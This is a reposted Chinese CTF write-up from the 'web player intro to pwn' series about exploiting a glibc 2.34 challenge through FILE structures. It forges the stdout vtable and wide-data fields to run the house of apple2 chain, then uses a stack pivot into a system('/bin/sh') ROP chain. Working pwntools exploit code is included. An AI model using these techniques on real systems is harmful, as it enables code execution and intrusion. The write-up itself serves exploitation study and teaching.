文章总结: 该文档详细分析了在libc2.34环境下利用IOFILE结构进行漏洞利用的技术,重点介绍了通过伪造IO21stdout的vtable和widedata字段触发houseofapple2利用链的过程。文章提供了具体的利用步骤,包括劫持vtable至IOwfilejumps-0x20、伪造widevtable指向onegadget,并针对2.34版本onegadget约束提出栈迁移结合system调用的改进方案。关键发现包括利用结构体重叠技术解决写入空间限制问题,并附有完整PoC代码演示利用链构建。 综合评分: 73 文章分类: 漏洞分析,二进制安全,CTF,WEB安全,红队
web选手入门pwn(28)
原创
珂字辈 珂字辈
珂技知识分享
2025年11月2日 18:00 湖北
在小说阅读器读本章
去阅读
- FILE_IO
这题自带libc 2.34,本地可以用2.35-0ubuntu3_amd64做会比较简单,这里我用2.34-0ubuntu3_amd64做。
非常简单直接的IO利用,打IO通常是作为堆题获得任意地址写之后因为高版本libc无法劫持got/hook地址的替代方案。这题可以让不会堆题的人体会下堆题的后半段操作。
代码一目了然,直接打印stdout并可以写0xf0进去,0xf0大概就是stdout的大小,同时还泄露了libc。
我们跟进去体会一下。
我们来看_IO_2_1_stdout_结构
比较重要的是_wide_data和vtable,继续看_IO_file_jumps。
这个__xsputn指针就是puts会调用的_IO_file_xsputn,跟进puts可以看到。
那么显然,我们可以劫持_IO_2_1_stdout_->vtable到一个伪装的_IO_file_jumps结构体,fake_IO_file_jumps->__xsputn指向one_gadget不就行了吗?
这正是libc 2.23的利用方法。但在2.24之后,增加了对vtable的检测,必须是一个合法的范围。这里可以使用_IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap以及它们的偏移,最终我们选择了_IO_wfile_jumps-0x20,这使得它的__xsputn指向_IO_wfile_overflow。
而_IO_wfile_overflow存在一条利用链house of apple2。
https://roderickchan.github.io/zh-cn/2023-02-27-house-of-all-about-glibc-heap-exploitation/
_IO_wfile_overflow=>_IO_wdoallocbuf=>_IO_WDOALLOCATE=> WJUMP0 (__doallocate, FP)
这条链最终会call __doallocate,__doallocate是怎么来的呢?这就要回到前面提到过的_IO_2_1_stdout_->_wide_data了。
跟进_IO_wide_data_1
这个_wide_vtable也指向_IO_wfile_jumps,但它就没检测,继续跟进就能看到__doallocate了。
也就是说,我们需要依次篡改
_IO_2_1_stdout_->vtable=_IO_wfile_jumps-0x20
_IO_wfile_jumps-0x20->__xsputn=_IO_wfile_overflow
_IO_2_1_stdout_->_wide_data=fake_IO_wide_data_1
fake_IO_wide_data_1->_wide_vtable=fake_IO_wfile_jumps
fake_IO_wfile_jumps->__doallocate=one_gadget
但这里有个看起来不好解决的问题,之前我们说过read写的0xf0刚好差不多是_IO_2_1_stdout_大小,那么fake_IO_wide_data_1/fake_IO_wfile_jumps似乎没法伪造啊?
这里就不得不提前人的智慧了,将空间重复利用,直接在_IO_2_1_stdout_上面重叠fake_IO_wide_data_1/fake_IO_wfile_jumps
直接来看poc。
#python3from pwn import *from pwncli import *
context.log_level = 'debug'context.arch='amd64'
sh = gdb.debug("./FILE","b *0x55555555525a\n c")#sh = process("./FILE")elf = ELF("./FILE")libc = ELF("/home/sonomon/glibc-all-in-one/libs/2.34-0ubuntu3_amd64/libc.so.6")
_IO_2_1_stdout_ = int(sh.recvuntil("760")[-12:],16)libc_base = _IO_2_1_stdout_ - libc.sym['_IO_2_1_stdout_'] print(hex(_IO_2_1_stdout_))print(hex(libc_base))
tmp_addr = _IO_2_1_stdout_ - 0x400leave_ret = 0x000000000005a1ac + libc_baseret = 0x000000000002d9b9 + libc_basesystem_addr = libc.sym['system'] + libc_baseall_addrs = list(libc.search(b"/bin/sh"))libc_binsh = all_addrs[0] + libc_basepop_rdi = 0x000000000002e6c5 + libc_baseones = [0xeeccc, 0xeeccf, 0xeecd2]one = ones[0] + libc_base
file1 = IO_FILE_plus_struct()file1.flags = 0 # stdout._flags = 0 file1._IO_write_base = 0file1._IO_write_ptr = 1file1.chain = one # _wide_vtable.__doallocate = onefile1._lock = tmp_addr # stdout._lock can write and free addr file1._codecvt = _IO_2_1_stdout_ # _wide_data._wide_vtable = p *(struct _IO_jump_t *)file1._wide_data = _IO_2_1_stdout_ - 0x48 # stdout._wide_data = p *(struct _IO_wide_data *)file1.vtable = libc.sym['_IO_wfile_jumps'] + libc_base - 0x20 # stdout.vtable.xsputn = _IO_wfile_overflow
sh.sendafter("the file",bytes(file1))sh.interactive()
跟进去看我们伪造的结构
_IO_2_1_stdout_->vtable=_IO_wfile_jumps-0x20
_IO_2_1_stdout_->_wide_data=fake_IO_wide_data_1
_IO_wfile_jumps-0x20->__xsputn=_IO_wfile_overflow
fake_IO_wide_data_1->_wide_vtable=fake_IO_wfile_jumps
fake_IO_wfile_jumps->__doallocate=one_gadget
最终可以进入one_gadget
然而却并不能打通,这是因为2.34的one_gadget要求较多的原因
因此还需要转一次栈迁移用sytem,栈迁移后的栈顶就是_IO_2_1_stdout_->_IO_read_ptr,依次向下,因此最终exp稍微改一下file1结构就行。
file1 = IO_FILE_plus_struct()file1.flags = 0 # stdout._flags = 0 file1._IO_read_ptr = ret file1._IO_read_end = pop_rdifile1._IO_read_base = libc_binshfile1._IO_write_base = system_addrfile1.chain = leave_ret # _wide_vtable.__doallocate = onefile1._lock = tmp_addr # stdout._lock can write and free addr file1._codecvt = _IO_2_1_stdout_ # _wide_data._wide_vtable = p *(struct _IO_jump_t *)file1._wide_data = _IO_2_1_stdout_ - 0x48 # stdout._wide_data = p *(struct _IO_wide_data *)file1.vtable = libc.sym['_IO_wfile_jumps'] + libc_base - 0x20 # stdout.vtable.xsputn = _IO_wfile_overflow
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:珂技知识分享 珂字辈 珂字辈《web选手入门pwn(28)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论